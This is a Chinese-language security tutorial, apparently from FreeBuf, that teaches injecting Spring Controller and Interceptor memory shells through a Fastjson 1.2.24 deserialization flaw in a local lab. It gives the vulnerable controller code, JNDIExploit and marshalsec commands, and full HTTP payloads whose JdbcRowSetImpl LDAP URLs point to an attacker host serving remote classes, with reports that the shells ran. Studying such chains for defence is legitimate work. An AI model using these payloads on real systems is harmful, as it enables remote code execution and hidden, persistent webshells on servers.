新手友好,spring内存马学习篇二
反序列化注入内存马
Fastjson靶场搭建
我们在前面的springboot项目上引入fastjson,模拟一下漏洞环境
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
新建一个FastJsonController控制器,指定post请求方式,触发恶意代码
package org.example.springmemory.controller;
import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class FastJsonController {
@ResponseBody
@RequestMapping(value = "/FastJson", method = RequestMethod.POST)
public String test(@RequestBody String vul){
System.out.println(vul);
JSON.parseObject(vul);
return vul;
}
}
使用简易payload测试效果,可以看见是没有问题的
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0
POST /FastJson HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 273
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.8:1389/Basic/Command/calc",
"autoCommit":true
}
}
Controller内存马
Class编写
由于前面在分析该内存马的时候,都是在java文件里面编写的,不像《Tomcat内存马》使用jsp编写,还需要转换语法。这里直接在项目根目录新建一个文件,把代码copy过来即可
这里用的是addController2代码,已经补充在 Controller小节,一开始我是用的addController代码,执行不成功,被他坑了好久,后面debug才发现问题所在
先把恶意代码复制过来,这里不用内部类了,直接把方法写在本类
老样子,在类的static里面写,用try/catch捕获异常
复制过来记得把类名改一下
下面两个地方修改即可。没有用内部类,那个exec方法现在就在本类,所以类方法所在类是本类,包括下面new的时候也是一样,new本类。
启动项目,编译没有问题,这里我提前访问了一下shell地址,确保不是等一下打不是缓存,现在是没有这个路径的
运行内存马
我们找到ControllerMemory文件所在目录启动http服务,用marshalsec工具挂载ldap服务
发送payload,看见所有请求正常
执行成功了
Interception内存马
Class编写
新建一个InterceptorMemory类,继承HandlerInterceptor类,把前面的ShellInterception类代码复制过来
在InterceptorMemory类里面写入执行恶意代码部分,我们的static部分,把controller下的ShellInterceptor的执行部分复制过来
项目能正常启动并且也编译成功了
运行内存马
我们找到InterceptorMemory文件所在目录启动http服务,用marshalsec工具挂载ldap服务
发送payload,看见所有请求正常
POST /FastJson HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 272
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.8:9999/InterceptorMemory",
"autoCommit":true
}
}
执行成功了
参考&鸣谢
https://goodapple.top/archives/1355#leftbar_tab_catalog
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
目录
最新
- Caido v0.47.0 发布:一款强大的 Burp Suite 替代品,Web 渗透测试工具迎来新升级
- 警惕!AI组件ComfyUI易被黑产盯上
- 初识网络安全知识-信息收集篇
- [Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升
- [Meachines] [Medium] Stratosphere Struts-2-RCE+mysql转存储+python三方库劫持
- 公私合作:网络安全行业增长与成熟的催化剂
- 安卓设备被Root后遭遇攻击的风险激增3000倍,iPhone亦不安全
- 六国政府疑似使用以色列Paragon间谍软件窃取即时通讯数据